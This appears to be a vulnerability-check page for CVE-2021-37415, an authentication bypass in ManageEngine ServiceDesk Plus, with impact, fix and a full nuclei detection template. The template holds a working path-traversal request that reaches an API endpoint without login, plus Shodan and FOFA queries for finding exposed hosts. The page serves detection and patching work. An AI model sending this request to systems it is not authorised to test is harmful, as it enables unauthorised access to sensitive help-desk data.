Zoho ManageEngine ServiceDesk Plus - Authentication Bypass

Exploited in the wild. Listed by CISA on 2021-12-01; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Zoho ManageEngine ServiceDesk Plus before 11302 is vulnerable to authentication bypass that allows a few REST-API URLs without authentication.

Impact

Attackers can access sensitive functionalities and data without authentication, potentially leading to data disclosure or unauthorized actions.

Fix

Update to version 11302 or later.

How to confirm it

Send: GET /api/v3/{{randbase(8)}}/../announcements
Positive when: contains "\"status_code\":2000" and "\"has_more_rows\"" and "\"start_index\"" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-37415 -u <target>

The full check

id: CVE-2021-37415

info:
  name: Zoho ManageEngine ServiceDesk Plus - Authentication Bypass
  author: daffainfo,jjcho
  severity: critical
  description: |
    Zoho ManageEngine ServiceDesk Plus before 11302 is vulnerable to authentication bypass that allows a few REST-API URLs without authentication.
  remediation: |
    Update to version 11302 or later.
  impact: |
    Attackers can access sensitive functionalities and data without authentication, potentially leading to data disclosure or unauthorized actions.
  reference:
    - https://www.manageengine.com/products/service-desk/on-premises/readme.html#11302
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37415
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37415
    epss-score: 0.99825
    epss-percentile: 0.9996
    cwe-id: CWE-306
    cpe: cpe:2.3:a:zohocorp:manageengine_servicedesk_plus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zohocorp
    product: manageengine_servicedesk_plus
    shodan-query: http.title:"manageengine servicedesk plus"
    fofa-query: title="manageengine servicedesk plus"
  tags: cve,cve2021,zohocorp,manageengine,manageengine_servicedesk_plus,auth-bypass,kev,vkev,vuln

http:
  - raw:
      - |
        GET /api/v3/{{randbase(8)}}/../announcements HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status_code":2000'
          - '"has_more_rows"'
          - '"start_index"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from